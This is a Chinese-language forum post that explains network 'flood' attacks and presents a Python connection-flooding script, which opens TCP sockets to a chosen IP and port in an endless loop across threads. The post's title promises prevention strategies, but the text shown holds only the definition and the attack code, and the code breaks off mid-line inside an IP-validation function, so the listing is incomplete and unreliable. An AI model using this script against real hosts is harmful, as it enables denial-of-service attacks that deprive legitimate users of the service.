《网络安全中的“泛洪”攻击:揭秘、防范与应对策略》 ...

打印 上一主题 下一主题

主题 983|帖子 983|积分 2949

各类泛洪攻击总结

IPV4泛洪

一、什么是泛洪?

泛洪的基本原理就是基于协议通信,完成大流量高并发操作,导致目的主机各类资源消耗过多而无法提供正常的服务。基于多线程或多进程(MAC地址泛洪,ARP泛洪欺骗)。(1) 攻击端与目的主机之间能够正常通信。(2) 目的主机没有设置很好防御步调。
二、使用socket三次握手泛洪

[code]import socket
import threading


def socket_flood(ip, port):
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)  # 设置超时时间为1秒
            s.connect((ip, port))
        except socket.error:
            pass  # 忽略连接错误


if __name__ == '__main__':
    def is_valid_ip(ip):
        parts = ip.split('.')
        if len(parts) != 4:
            return False
        for part in parts:
            if not part.isdigit() or not 0 
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

乌市泽哥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表